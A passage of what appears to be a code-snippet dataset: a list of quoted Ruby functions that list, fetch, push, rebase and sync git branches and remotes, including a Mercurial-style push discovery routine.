"def recent_branches_fast\n\t\trefs = []\n\t\trefs.concat Pathname.glob(dot_git + 'refs/heads/**/*')\n\t\trefs.concat Pathname.glob(dot_git + 'refs/remotes/**/*')\n\n\t\tbranches = refs.reject {|r| r.directory? }.sort_by {|r| r.mtime }.last(@opts[:max_num]).map {|r|\n\t\t\tref = r.read.chomp\n\t\t\tif name = ref[/ref: (.+)/, 1]\n\t\t\t\tbegin\n\t\t\t\t\t(dot_git + name).read.chomp\n\t\t\t\trescue\n\t\t\t\t\t`git rev-parse #{name}`.chomp\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tref\n\t\t\tend\n\t\t}\n\t\tretrieve_branch_details(branches)\n\tend",
"def pre_push(remote, opts={})\n common = {}\n remote_heads = remote.heads\n inc = common_nodes remote, :base => common, :heads => remote_heads, :force => true\n inc = inc[1]\n update, updated_heads = find_outgoing_roots remote, :base => common, :heads => remote_heads\n \n if opts[:revs]\n btw = changelog.nodes_between(update, opts[:revs])\n missing_cl, bases, heads = btw[:between], btw[:roots], btw[:heads]\n else\n bases, heads = update, changelog.heads\n end\n if bases.empty?\n UI::status 'no changes found'\n return nil, 1\n elsif !opts[:force]\n # check if we're creating new remote heads\n # to be a remote head after push, node must be either\n # - unknown locally\n # - a local outgoing head descended from update\n # - a remote head that's known locally and not\n # ancestral to an outgoing head\n \n warn = false\n if remote_heads == [NULL_ID]\n warn = false\n elsif (opts[:revs].nil? || opts[:revs].empty?) and heads.size > remote_heads.size\n warn = true\n else\n new_heads = heads\n remote_heads.each do |r|\n if changelog.node_map.include? r\n desc = changelog.heads r, heads\n l = heads.select {|h| desc.include? h }\n \n new_heads << r if l.empty?\n else\n new_heads << r\n end\n end\n \n warn = true if new_heads.size > remote_heads.size\n end\n \n if warn\n UI::status 'abort: push creates new remote heads!'\n UI::status '(did you forget to merge? use push -f to forge)'\n return nil, 0\n elsif inc.any?\n UI::note 'unsynced remote changes!'\n end\n end\n \n if opts[:revs].nil?\n # use the fast path, no race possible on push\n cg = get_changegroup common.keys, :push\n else\n cg = changegroup_subset update, revs, :push\n end\n \n [cg, remote_heads]\n end",
"def remote_branches\n @remote_branches ||= @project.branches.remote.map(&:full)\n end",
"def remote_branches\n @rugged_repository.branches.each_name(:remote).sort\n end",
"def newMet\n puts \"Try to create a new branch and then push it back to remote\"\n end",
"def recent_branches_strict\n\t\tbranches = `git branch -a`.gsub!(/^\\*?\\s+|\\(no branch\\)\\s*/, \"\").split(/\\n/).map {|i|\n\t\t\ti.split(/ -> /)[0]\n\t\t}\n\t\tretrieve_branch_details(branches)\n\tend",
"def pushtobare(branch = 'master')\n remote = satelliterepo.remotes['bare']\n remote = satelliterepo.remotes.create 'bare', barerepo.path unless remote\n satelliterepo.push remote, [\"refs/heads/#{branch}\"]\n end",
"def pushtobare(branch = 'master')\n remote = satelliterepo.remotes['bare']\n remote = satelliterepo.remotes.create 'bare', barerepo.path unless remote\n satelliterepo.push remote, [\"refs/heads/#{branch}\"]\n end",
"def get_latest_lib_branch(rel_branch, repo)\n ver_fields=rel_branch.split('.')\n major_minor=ver_fields[0] + '.' + ver_fields[1]\n\n total_branches=`git ls-remote #{repo} | grep #{major_minor}`\n max_sub_minor_int = 0\n max_sub_minor_str = \"00\"\n total_branches.split('\\n').each do |line|\n subminor = line.split(major_minor)[-1].split('.')[-1]\n subminor_int = subminor.to_i\n if (subminor_int >= max_sub_minor_int)\n max_sub_minor_int = subminor_int\n max_sub_minor_str = subminor\n end\n end\n\n (major_minor + '.' + max_sub_minor_str).chomp!\nend",
"def fetch_changesets\n scm_brs = branches\n return if scm_brs.nil? || scm_brs.empty?\n\n h1 = extra_info || {}\n h = h1.dup\n repo_heads = scm_brs.map{ |br| br.scmid }\n h[\"heads\"] ||= []\n prev_db_heads = h[\"heads\"].dup\n if prev_db_heads.empty?\n prev_db_heads += heads_from_branches_hash\n end\n return if prev_db_heads.sort == repo_heads.sort\n\n h[\"db_consistent\"] ||= {}\n if changesets.count == 0\n h[\"db_consistent\"][\"ordering\"] = 1\n merge_extra_info(h)\n self.save\n elsif ! h[\"db_consistent\"].has_key?(\"ordering\")\n h[\"db_consistent\"][\"ordering\"] = 0\n merge_extra_info(h)\n self.save\n end\n save_revisions(prev_db_heads, repo_heads)\n end",
"def common_nodes(remote, opts={:heads => nil, :force => nil, :base => nil})\n # variable prep!\n node_map = changelog.node_map\n search = []\n unknown = []\n fetch = {}\n seen = {}\n seen_branch = {}\n opts[:base] ||= {}\n opts[:heads] ||= remote.heads\n \n # if we've got nothing...\n if changelog.tip == NULL_ID\n opts[:base][NULL_ID] = true # 1 is stored in the Python\n \n return [NULL_ID], [NULL_ID], opts[:heads].dup unless opts[:heads] == [NULL_ID]\n return [NULL_ID], [], [] # if we didn't trip ^, we're returning this\n end\n \n # assume we're closer to the tip than the root\n # and start by examining heads\n UI::status 'searching for changes'\n \n opts[:heads].each do |head|\n if !node_map.include?(head)\n unknown << head\n else\n opts[:base][head] = true # 1 is stored in the Python\n end\n end\n \n opts[:heads] = unknown # the ol' switcheroo\n return opts[:base].keys, [], [] if unknown.empty? # BAIL\n \n # make a hash with keys of unknown\n requests = Hash.with_keys unknown\n count = 0\n \n # Search through the remote branches\n # a branch here is a linear part of history, with 4 (four)\n # parts:\n #\n # head, root, first parent, second parent\n # (a branch always has two parents (or none) by definition)\n #\n # Here's where we start using the Hashes instead of Arrays\n # trick. Keep an eye out for opts[:base] and opts[:heads]!\n unknown = remote.branches(*unknown)\n until unknown.empty?\n r = []\n \n while node = unknown.shift\n next if seen.include?(node[0])\n UI::debug \"examining #{short node[0]}:#{short node[1]}\"\n \n if node[0] == NULL_ID\n # Do nothing...\n elsif seen_branch.include? node\n UI::debug 'branch already found'\n next\n elsif node_map.include? node[1]\n UI::debug \"found incomplete branch #{short node[0]}:#{short node[1]}\"\n search << node[0..1]\n seen_branch[node] = true # 1 in the python\n else\n unless seen.include?(node[1]) || fetch.include?(node[1])\n if node_map.include?(node[2]) and node_map.include?(node[3])\n UI::debug \"found new changset #{short node[1]}\"\n fetch[node[1]] = true # 1 in the python\n end # end if\n \n node[2..3].each do |p|\n opts[:base][p] = true if node_map.include? p\n end\n end # end unless\n \n node[2..3].each do |p|\n unless requests.include?(p) || node_map.include?(p)\n r << p\n requests[p] = true # 1 in the python\n end # end unless\n end # end each\n end # end if\n \n seen[node[0]] = true # 1 in the python\n end # end while\n \n unless r.empty?\n count += 1\n \n UI::debug \"request #{count}: #{r.map{|i| short i }}\"\n \n (0 .. (r.size-1)).step(10) do |p|\n remote.branches(r[p..(p+9)]).each do |b|\n UI::debug \"received #{short b[0]}:#{short b[1]}\"\n unknown << b\n end\n end\n end # end unless\n end # end until\n \n # sorry for the ambiguous variable names\n # the python doesn't name them either, which\n # means I have no clue what these are\n find_proc = proc do |item1, item2|\n fetch[item1] = true\n opts[:base][item2] = true\n end\n \n # do a binary search on the branches we found\n search, new_count = *binary_search(:find => search,\n :repo => remote,\n :node_map => node_map,\n :on_find => find_proc)\n count += new_count # keep keeping track of the total\n \n # sanity check, because this method is sooooo fucking long\n fetch.keys.each do |f|\n if node_map.include? f\n raise RepoError.new(\"already have changeset #{short f[0..3]}\")\n end\n end\n \n if opts[:base].keys == [NULL_ID]\n if opts[:force]\n UI::warn 'repository is unrelated'\n else\n raise RepoError.new('repository is unrelated')\n end\n end\n \n UI::debug \"found new changesets starting at #{fetch.keys.map{|f| short f }.join ' '}\"\n UI::debug \"#{count} total queries\"\n \n # on with the show!\n [opts[:base].keys, fetch.keys, opts[:heads]]\n end",
"def create_branches(repo)\n @branch_names.collect {|branch_name| \n Branch.new(branch_name ,Grit::Commit.find_all(repo, branch_name).sort_by { |k| k.authored_date}.reverse)}\n end",
"def pushToGitRemotes(branch = 'develop', force = 0)\n if force\n force = \"-f\"\n else\n force = \"\"\n end\n remotes = `git remote`.split(\"\\n\")\n remotes.each do |remote|\n remote.chomp!\n UI.important(\"Pushing #{branch} to remote: #{branch}\\\"\")\n sh(\"git push #{force} #{remote} #{branch}\")\n end\nend",
"def add_commits_in_current_repo\n existing_branches.each do |branch_name|\n add_commits_in_branch branch_name\n end\n @commit_list\n end",
"def local_branches\n @local_branches ||= begin\n branches = []\n if not git.branches.local.empty?\n branches << git.branches.local.select{ |b| b.current }[0].name\n branches << git.branches.local.select{ |b| not b.current }.map{ |b| b.name }\n end\n branches.flatten\n end\n end",
"def latest_revision\n # TODO: Why is create called here anyway?\n create if @resource.value(:force) && working_copy_exists?\n create unless working_copy_exists?\n\n branch = on_branch?\n return get_revision(\"#{@resource.value(:remote)}/#{branch}\") if branch\n get_revision\n end",
"def fetch_branches\n refs = @github_client.fetch_refs(@repo_user,@repo_name) \n branch_refs = filter_branch_refs refs \n branch_refs = fetch_and_set_dates(branch_refs)\n branch_refs = sort_by_date(branch_refs) \n branches(branch_refs)\n end",
"def git_push_if_changes( names ) ## optenfootball repo names e.g. world, england, etc.\n message = \"auto-update week #{Date.today.cweek}\"\n puts message\n\n names.each do |name|\n path = \"#{SportDb::Boot.root}/openfootball/#{name}\"\n\n Gitti::GitProject.open( path ) do |proj|\n puts ''\n puts \"###########################################\"\n puts \"## trying to commit & push repo in path >#{path}<\"\n puts \"Dir.getwd: #{Dir.getwd}\"\n output = proj.changes\n if output.empty?\n puts \"no changes found; skipping commit & push\"\n else\n proj.add( '.' )\n proj.commit( message )\n proj.push\n end\n end\n end\nend",
"def process_github_clones\n repos = get_github_repos_already_cloned\n repos.each do |r|\n # SMELL: does not work if the working copy directory does\n # not match the repo name\n clone_path = configatron.dir + r.name\n set_upstream(clone_path, r.parent.html_url)\n end\nend",
"def pull_latest_changes\n system \"cd #{Dots.home} && #{git_pull}\"\n end",
"def fetch_update\n remote_branch = ErrorEmittingExecutor.execute(\"git branch -r --list origin/#{BRANCH_NAME}\")\n if remote_branch == 'origin/cocina-level2-updates'\n ErrorEmittingExecutor.execute(\"git fetch origin #{GIT_MAIN_FETCH_REFS} #{GIT_BRANCH_FETCH_REFS}\")\n else\n ErrorEmittingExecutor.execute(\"git fetch origin #{GIT_MAIN_FETCH_REFS}\", exit_on_error: true)\n end\nend",
"def apply\n repo.push('origin', ['refs/heads/master'], credentials: credentials)\n end",
"def git_push(*remotes)\n remotes.each do |remote|\n git(:push => \"#{remote} master\")\n end\n end",
"def create_remote_repo\n `git init --bare #{REMOTE_PATH}/#{@name}.git`\n\n # Connect local repository to remote and push local master branch to remote.\n Dir.chdir(\"#{LOCAL_PATH}/#{@name}\") do\n `git remote add #{UPSTREAM_NAME} #{REMOTE_PATH}/#{@name}.git && git push -u #{UPSTREAM_NAME} master`\n end\n end",
"def remote_branches(remote)\n run(\"git branch -r\").split(\"\\n\")\n .map { |r| r.chomp.gsub(/^\\s+/, \"\") }\n .select { |r| r[remote] && ! r[\"HEAD\"] }\n .map { |r| r.gsub(\"#{remote}/\", \"\") }\n end",
"def track_missing\n lbranches = local_branches\n dbg \"track_missing: local branches = #{lbranches.join(', ')}\"\n remote = remote_name\n added = []\n remote_branches.reject { |b| /HEAD/.match(b) }.each do |branch|\n dbg \" considering remote branch #{branch}\"\n lbranch = branch.sub(/^#{remote}\\//, '')\n dbg \" local branch name would be #{lbranch}\"\n unless lbranches.include? lbranch\n dbg \" not already tracking #{lbranch}\"\n added << lbranch\n track lbranch\n end\n end\n added\n end",
"def pull(remote, options={})\n raise RuntimeError, \"Unknown remote #{remote}\" unless remote_list.include?(remote)\n\n git.fetch({}, remote)\n git.fetch({:tags => true}, remote)\n\n ref_rx = /^#{Regexp.quote(remote)}\\//\n remote_branches = Hash[remotes.map{|r| [$',r] if r.name =~ ref_rx }.compact]\n\n # FIXME: should we depend on Vendorificator::Config here?\n Vendorificator::Config.each_module do |mod|\n remote_head = remote_branches[mod.branch_name]\n ours = mod.head && mod.head.commit.sha\n theirs = remote_head && remote_head.commit.sha\n\n if remote_head\n if not mod.head\n say_status 'new', mod.branch_name, :yellow\n git.branch({:track=>true}, mod.branch_name, remote_head.name) unless options[:dry_run]\n elsif ours == theirs\n say_status 'unchanged', mod.branch_name\n elsif fast_forwardable?(theirs, ours)\n say_status 'updated', mod.name, :yellow\n unless options[:dry_run]\n mod.in_branch do\n git.merge({:ff_only => true}, remote_head.name)\n end\n end\n elsif fast_forwardable?(ours, theirs)\n say_status 'older', mod.branch_name\n else\n say_status 'complicated', mod.branch_name, :red\n indent do\n say 'Merge it yourself.'\n end\n end\n else\n say_status 'unknown', mod.branch_name\n end\n end\n\n private\n\n def conf\n Vendorificator::Config\n end\n\n def say_status(*args)\n conf[:shell].say_status(*args) if conf[:shell]\n end\n end",
"def fetch(remote_store, remote_branch, local_branch)\n VCSToolkit::Utils::Sync.sync remote_store, remote_branch, object_store, local_branch\n end",
"def git_clone_latest(repo, dir)\n assert_system(\"git clone #{repo} #{dir}\") unless Dir.exist?(dir)\n Dir.chdir(dir) do\n assert_system('git pretty-pull')\n end\n end",
"def local\n db_dump\n sync_local\n system_lists\n commit_git_repo(\"~/backup\")\n end",
"def push_repo_changes_aux(repo, opts={})\n diffs = DiffSummary.new()\n\n # adding untracked files (newly added files)\n repo.stage_changes()\n\n # commit if there has been changes\n if repo.changed?\n repo.commit(opts[:commit_msg]||\"Pushing changes from client\") #TODO: make more descriptive\n end\n\n if opts[:remote_repo] and opts[:remote_repo_url]\n repo.add_remote(opts[:remote_repo],opts[:remote_repo_url])\n end\n\n unless opts[:no_fetch]\n repo.fetch(remote(opts[:remote_repo]))\n end\n\n local_branch = repo.local_branch_name\n\n remote_branch_ref = remote_branch_ref(local_branch, opts)\n\n #check if merge needed\n commit_shas = Hash.new\n merge_rel = repo.merge_relationship(:remote_branch,remote_branch_ref, :ret_commit_shas => commit_shas)\n commit_sha = nil\n diffs = DiffSummary.new_version(repo)\n\n if merge_rel == :equal\n commit_sha = commit_shas[:other_sha]\n elsif [:branchpoint,:local_behind].include?(merge_rel)\n if opts[:force]\n diffs = DiffSummary.diff(repo,local_branch, remote_branch_ref)\n if diffs.any_diffs?()\n repo.push(remote_branch_ref, {:force => opts[:force]})\n end\n commit_sha = repo.find_remote_sha(remote_branch_ref)\n else\n where = opts[:where] || 'server'\n msg = \"Merge needed before module (#{pp_module(repo)}) can be pushed to #{where}. \"\n if where.to_sym == :catalog\n msg << \" Either a merge into the local module can be done with pull-dtkn command, followed by push-dtkn or force\"\n else\n msg << \"Force\"\n end\n msg << \" push can be used with the '--force' option, but this will overwrite remote contents\"\n raise ErrorUsage.new(msg)\n end\n elsif merge_rel == :no_remote_ref\n repo.push(remote_branch_ref)\n commit_sha = commit_shas[:local_sha]\n elsif merge_rel == :local_ahead\n # see if any diffs between fetched remote and local branch\n # this has be done after commit\n diffs = DiffSummary.diff(repo,local_branch, remote_branch_ref)\n\n if diffs.any_diffs?()\n repo.push(remote_branch_ref, {:force => opts[:force]})\n end\n\n commit_sha = repo.find_remote_sha(remote_branch_ref)\n else\n raise Error.new(\"Unexpected merge_rel (#{merge_rel})\")\n end\n\n {\"diffs\" => diffs, \"commit_sha\" => commit_sha, \"repo_obj\" => repo}\n end",
"def updateRepo()\n $repo.checkout(BRANCH)\n\n # fetch\n remote = $repo.remotes['' << REMOTE]\n remote.fetch()\n\n # merge\n distant_commit = $repo.branches['' << REMOTE << '/' << BRANCH].target\n $repo.references.update($repo.head, distant_commit.oid)\nend",
"def sync_addon_branch_to_blessed_repo(repoName, remoteBranch, localBranch, pushForce = false)\n self.log(INFO,repoName,\"Checkout #{remoteBranch} branch (it is perhaps not the default) for #{repoName}...\")\n s = system(\"git checkout #{localBranch}\")\n if !s\n print(\"[ERROR] No #{remoteBranch} branch in repository #{repoName}, Skip this repo!!!\\n\")\n self.log(INFO,repoName,\"Done.\")\n # Let's process the next one\n else\n self.log(INFO,repoName,\"Done.\")\n self.log(INFO,repoName,\"Reset #{localBranch} to #{remoteBranch} for #{repoName} ...\")\n s = system(\"git reset --hard #{remoteBranch}\")\n if !s\n abort(\"[ERROR] Reset #{localBranch} to #{remoteBranch} for #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n self.log(INFO,repoName,\"Push #{localBranch} branch content from exo-addons repository to blessed repository ...\")\n\n forceParam = \"\"\n if pushForce\n forceParam = \"--force\"\n end\n\n s = system(\"git push #{forceParam} blessed #{localBranch}\")\n if !s\n abort(\"[ERROR] Push of #{localBranch} branch updates to repository #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n end\n end",
"def create_zipped_moab_versions!\n storage_location = moab_replication_storage_location\n return nil unless storage_location\n\n params = (1..current_version).map do |v|\n ZipEndpoint.which_need_archive_copy(druid, v).map { |zep| { version: v, zip_endpoint: zep } }\n end.flatten.compact.uniq\n\n zipped_moab_versions.create!(params).tap do |zmvs|\n zmvs.pluck(:version).uniq.each { |version| Replication::ZipmakerJob.perform_later(druid, version, storage_location) }\n end\n end",
"def build_branch_list\n local_branches = `git branch`.split(' ')\n active_branch_index = local_branches.index('*')\n\n local_branches.reject { |i| i == '*' }.map.with_index do |b, i|\n BranchModel.new(b, i == active_branch_index)\n end\n end",
"def create_branch\n ErrorEmittingExecutor.execute(\"git checkout -B #{BRANCH_NAME}\")\n\n # Ensure local branch matches any existing upstream branch; will reset to HEAD by default\n ErrorEmittingExecutor.execute('git reset --hard', exit_on_error: true)\nend",
"def sync_project_branches(repoName)\n projectBranches = get_repository_project_branches(repoName)\n projectBranches.each do |branch|\n self.log(INFO, repoName, \"Synchronize project branch #{branch}\")\n sync_addon_branch_to_blessed_repo(repoName, \"origin/#{branch}\", branch, true)\n end\n end",
"def recent_builds_branch(branch, params)\n CircleCi.request(@conf, \"/project/#{username}/#{project}/tree/#{branch}\", params).get\n end",
"def branches; end",
"def fetch\n Repository::GitMirror.active.find_each(&:fetch)\n end",
"def update_remote\n last_commit = @connection.last_commit(self.id)\n files = Repository.diff(last_commit)\n \n if files.length > 0\n puts \"#{files.length} changes since last delivery\"\n pbar = ProgressBar.new(\"Uploading\", files.length)\n files.each do |file|\n @connection.send(Gift::Connection.file_method(file.last.action), file.last)\n pbar.inc\n end\n pbar.finish\n \n last_commit = Gift::Repository.last_commit_hash unless last_commit && last_commit != \"\"\n self.save_state(last_commit)\n else\n puts \"Everything up to date!\"\n end\n \n @connection.close\n end",
"def merge_pr_totarget(upstream, pr_branch, repo)\n goto_prj_dir(repo)\n # check that we are in a git dir\n check_git_dir\n `git checkout #{upstream}`\n `git remote update`\n `git fetch`\n `git pull origin #{upstream}`\n `git checkout -b PR-#{pr_branch} origin/#{pr_branch}`\n puts `git branch`\n end",
"def change_git!\n @jobs.each_value do |job|\n job[:value][:scm_branch] = \"origin/pr/#{@number}/head\"\n job[:value][:scm_params] = {} unless job[:value][:scm_params]\n job[:value][:scm_params][:refspec] = 'refs/pull/*:refs/remotes/origin/pr/*'\n end\n end",
"def local_branches(repo_path)\n result = []\n `(cd \"#{repo_path}\" && git branch | cut -c3-)`.split(\"\\n\").each do |branch|\n result << branch unless `(cd #{repo_path} && git log -1 --pretty=full #{branch})` =~ /git-svn-id:/\n end\n result\n end",
"def checkout(branch_name)\n local_branches = @rugged_repository.branches.each_name.to_a\n if !local_branches.include?(branch_name) && self.remote_branch_from_local(branch_name)\n @rugged_repository.branches.create(branch_name, self.remote_branch_from_local(branch_name))\n end\n @rugged_repository.checkout(branch_name)\n end",
"def create_remote_tag tag_name\n in_secondary_repository do\n create_local_tag tag_name\n run 'git push --tags'\n end\nend",
"def fix_repos(downstream, upstream)\n # get the module name ie: nova\n pwd=get_dir_name(downstream, upstream)\n if File.exists?(pwd)\n raise \"Please manually clean up old directories: #{pwd}\"\n end\n Dir.mkdir(pwd)\n puts \"Working out of directory #{pwd}\"\n\n upstream_dir=File.join(pwd, 'upstream')\n downstream_dir=File.join(pwd, 'downstream')\n\n # clone the upstream and downstream repos\n clone(downstream_dir, \"git://github.com/#{downstream}\")\n clone(upstream_dir, \"git://github.com/#{upstream}\")\n\n # add write remotes for upstream and downstream to upstream\n # it needs the downstream remote b/c it needs access to it's\n # references to perform the cherry-picks\n # it needs access to the upstream repo to perform the push\n add_remote(upstream_dir, \"[email protected]:#{downstream}\", 'downstream')\n add_remote(upstream_dir, \"[email protected]:#{upstream}\", 'upstream')\n\n # start from origin/master\n # this used to be required b/c I was reusing the same directories for testing\n # it isn't required anymore, but it doesn't hurt to leave it here\n checkout(downstream_dir, 'origin/master')\n checkout(upstream_dir, 'origin/master')\n\n # get all revisions for upstream downstream\n rev_list_down=get_rev_list(downstream_dir)\n rev_list_up=get_rev_list(upstream_dir)\n puts \"UP revs count #{rev_list_up.size}\"\n\n # find the commit that upstream and downstream that has the same contents\n ref_results=find_common_commit(downstream_dir, upstream_dir, rev_list_down, rev_list_up)\n\n # rebase the downstream commits on upstream via cherry-pick\n rebase(upstream_dir, rev_list_down[0..(rev_list_down.index(ref_results[0])-1)].reverse, ref_results[1])\nend",
"def branch_commits\n\tcommits = {}\n\tresp = github_api(\"branches\")\n\tresp.each do |b|\n\t\t#puts b\n\t\tcommit_dates = []\n\t\tsha = b[\"commit\"][\"sha\"]\n\t\twhile true\n\t\t\tr = github_api(\"commits?sha=#{sha}&per_page=100\")\n\t\t\t# puts r\n\t\t\tif r.count != 1 \n\t\t\t\tsha = r[r.count - 1][\"sha\"]\n\t\t\t\tcommit_dates = commit_dates.concat(r[0..-1].map {|c| c[\"commit\"][\"committer\"][\"date\"]})\n\t\t\t\t#puts commit_dates\n\t\t\telse\n\t\t\t\tcommit_dates = commit_dates.concat(r.map {|c| c[\"commit\"][\"committer\"][\"date\"]})\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tcommits[b[\"name\"]] = commit_dates\n\tend\n\tcommits\nend",
"def branch\n 'refs/heads/master'\nend",
"def get_target_branches\n unless @target_branches\n fetch_all\n base = @config['branches']['production']\n allowed_branches = @config['branches'].values\n allowed_branches << @config['prefixes']['release'] if @config['prefixes']['release']\n banned_branches = ['HEAD']\n target_branches = `git branch -r origin/#{base} | grep -ie '\\\\(#{allowed_branches.join(\"\\\\|\")}\\\\)' | grep -iv '\\\\(#{banned_branches.join(\"\\\\|\")}\\\\)' | sed -e 's/origin\\\\///g'`\n @target_branches = target_branches.split(\"\\n\").map{|a| a.gsub(/\\s+/, \"\")}\n end\n @target_branches\n end",
"def recent_builds_branch(branch, params = {})\n CircleCi.request(conf, \"#{base_path}/tree/#{branch}\", params).get\n end",
"def fetch_and_pull_branch(branch_name)\n `cd #{project_repo_path} && git fetch && git checkout #{branch_name} && git pull origin #{branch_name} && git checkout #{self.trunk_branch}`\n end",
"def branches\n client.branches(repo)\n end",
"def fetch_back_from_temporary_clone(branch, clone_dir)\n git.fetch({quiet: true}, clone_dir,\n \"refs/heads/#{branch}:refs/heads/#{branch}\",\n \"refs/tags/*:refs/tags/*\",\n \"refs/notes/vendor:refs/notes/vendor\")\n end",
"def create_branch\n check_current_repo\n exists = `git branch --list #{branch}`.squish == branch\n if exists\n `git checkout #{branch}`\n else\n `git checkout master` unless current_branch == 'master'\n `git checkout -b #{branch}`\n end\nend",
"def find_branch(repo_slug, pattern)\n list = `git ls-remote --heads --sort=version:refname https://github.com/#{repo_slug} #{pattern}`\n list.split(\"\\n\")\n .map { |line| line.sub(%r{[0-9a-f]+\\trefs/heads/}, '').chomp }\n .last # Latest ref found, in \"version:refname\" semantic order\n end",
"def merge_pr_totarget(upstream, pr_branch)\n goto_prj_dir\n check_git_dir\n `git checkout #{upstream}`\n check_duplicata_pr_branch(\"#{pr_fix}#{pr_branch}\")\n `git remote update`\n `git fetch`\n `git pull origin #{upstream}`\n `git checkout -b #{pr_fix}#{pr_branch} origin/#{pr_branch}`\n return if $CHILD_STATUS.exitstatus.zero?\n\n # if it fails the PR contain a forked external repo\n repo_external.checkout_into\n end",
"def refresh\n clone_appium = \"git clone #{clone} #{path}\"\n sh clone_appium unless File.exists? path\n\n sh 'git reset --hard'\n sh 'git fetch --tags'\n\n update_branches\n\n branches.each do |branch|\n sh \"git checkout #{branch}\"\n sh \"git pull --rebase origin #{branch}\"\n end\n\n update_tags\n end",
"def apply\n #TODO: generate a better commit message\n @gl_admin.commit_index(\"Commit by gitolite gem\")\n @gl_admin.git.push({}, \"origin\", \"master\")\n end",
"def rebased_commits\n rebased_ref = detached_head? ? 'HEAD' : rebased_branch\n @rebased_commits ||=\n `git rev-list --topo-order --reverse #{upstream_branch}..#{rebased_ref}`.\n split(\"\\n\")\n end",
"def rebase(dir, downstream_commits, upstream_ref)\n Dir.chdir(dir) do\n # simply checkout upstream ref\n puts `git checkout #{upstream_ref}`\n # for downstream, get a list of the commits newer than matching red\nputs downstream_commits.inspect\n downstream_commits.each do |dsc|\n puts `git cherry-pick #{dsc} --allow-empty`\n end\n end\nend",
"def grit_update\n grit_repo = Repo.new(self.path)\n count = 0\n grit_repo.branches.each do |b|\n self.branches << AqBranch.new(:name => b.name) if not self.branches.find_by_name(b.name)\n end\n self.branches.each do |b|\n b.grit_update\n count += 1\n end\n aq_logger(Settings.logs.scm, \"User #{self.owner}, Repository : #{self.name}, #{count} branches treated.\")\n self.save\n end",
"def branches\n @branches ||= build_branches\n end",
"def create_standalone_remote_tag tag_name\n in_secondary_repository do\n run 'git checkout -b temp'\n run 'touch a.txt'\n run 'git add -A'\n run 'git commit -m \"temp\"'\n run \"git tag -a #{tag_name} -m '#{tag_name}'\"\n run 'git push --tags'\n end\nend",
"def sync\n # preparation\n check_remote_path_valid\n check_git_repo\n reset_remote_repo\n\n diff_text = local_diff\n apply_diff_to_remote diff_text\n\n # output = @ssh.exec! 'hostname'\n # puts output\n end",
"def branch_to_merge_into\n @branch_to_merge_into ||= git.latest_branch_for(branch_type)\n end",
"def test_gitgo_tracking_a_remote_branch\n # setup remote from c\n sh(c, 'git branch gitgo')\n sh(c, 'git checkout gitgo')\n method_root.prepare(c, \"cshasum1\") {|io| io << \"c content\" }\n sh(c, 'git add cshasum1')\n sh(c, 'git commit -m \"added document\"')\n sh(c, 'git push origin gitgo')\n \n # fetch gitgo\n sh(b, 'git fetch')\n assert !sh(b, 'git branch').include?('gitgo')\n assert sh(b, 'git branch -a').include?('origin/gitgo')\n \n sh(b, 'git branch gitgo --track origin/gitgo')\n sh(b, 'git checkout master')\n \n # make changes from c\n method_root.prepare(c, \"cshasum2\") {|io| io << \"C content\" }\n sh(c, 'git add cshasum2')\n sh(c, 'git commit -m \"added document\"')\n sh(c, 'git push origin gitgo')\n \n # pull changes\n sh(b, 'git pull')\n assert_equal false, File.exists?(method_root.path(b, \"cshasum1\"))\n assert_equal false, File.exists?(method_root.path(b, \"cshasum2\"))\n \n # not fast-forwarded\n sh(b, 'git checkout gitgo')\n assert_equal \"c content\", File.read(method_root.path(b, \"cshasum1\"))\n assert_equal false, File.exists?(method_root.path(b, \"cshasum2\"))\n \n # fast forward\n sh(b, 'git merge origin/gitgo')\n assert_equal \"c content\", File.read(method_root.path(b, \"cshasum1\"))\n assert_equal \"C content\", File.read(method_root.path(b, \"cshasum2\"))\n end",
"def push(downstream, upstream, remote_branch='svn_git_port')\n name=get_dir_name(downstream, upstream)\n upstream_dir=File.join(name, 'upstream')\n Dir.chdir(upstream_dir) do\n puts `git checkout -b push`\n puts `git push upstream HEAD:#{remote_branch}`\n end\nend",
"def update\n unless ENV.has_key? 'MWV_NO_UPDATE' or File.exist?($VP + 'no-update')\n system('git fetch origin') if Time.now - File.mtime($VP + '.git/FETCH_HEAD') > 604800 rescue nil\n end\nend",
"def add_commits_in_branch branch_name\n array_output_of(\"git log #{branch_name} --format='%h|%s|%an <%ae>' --topo-order --reverse\").each do |commit|\n sha, message, author = commit.split('|')\n next if message == 'Initial commit'\n @commit_list.add sha: sha, message: message, branch_name: branch_name, author: author\n end\n @commit_list\n end",
"def push(remote_store, local_branch, remote_branch)\n VCSToolkit::Utils::Sync.sync object_store, local_branch, remote_store, remote_branch\n end",
"def grit_update\n grit_repo = Repo.new(self.path)\n count = 0\n grit_repo.branches.each do |b|\n self.branches.build(:name => b.name, :aq_repository => self, :aq_repository_id => self.id) if not self.branches.find_by_name(b.name)\n end\n self.branches.each do |b|\n b.grit_update\n count += 1\n end\n aq_logger(Settings.logs.scm, \"User #{self.owner.login}, Repository: #{self.name}, #{count} branches treated.\")\n self.save\n end",
"def git_refs()\n # This glob pattern matches recursively so we will find a branch named\n # something like 'feature/subfeature/the-cool-feature'.\n # TODO: get remotes also\n git_dir = git_git_dir()\n\n locals = Dir.glob(File.join(git_dir, 'refs', 'heads', '**', '*')).select do |f|\n !File.directory? f\n end.map do |f|\n {\n 'name' => f.split('/refs/heads/')[1],\n 'hash' => File.open(f).read().rstrip\n }\n end\n\n remotes = Dir.glob(File.join(git_dir, 'refs', 'remotes', '**', '*')).select do |f|\n !File.directory?(f) and !f.end_with? \"/HEAD\"\n end.map do |f|\n {\n 'name' => f.split('/refs/remotes/')[1],\n 'hash' => File.open(f).read().rstrip\n }\n end\n\n locals + remotes\nend",
"def outdated\n remotes = Gem::SourceInfoCache.search(//)\n outdateds = []\n latest_specs.each do |_, local|\n name = local.name\n remote = remotes.select { |spec| spec.name == name }.\n sort_by { |spec| spec.version }.\n last\n outdateds << name if remote and local.version < remote.version\n end\n outdateds\n end",
"def determine_branch_name(repo)\n name = \"\"\n repo.branches.each do |branch|\n if branch.head?\n name = branch.name\n break\n end\n end\n return name\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n logger.info \"Deploying branch #{branch}\"\n branch\nend",
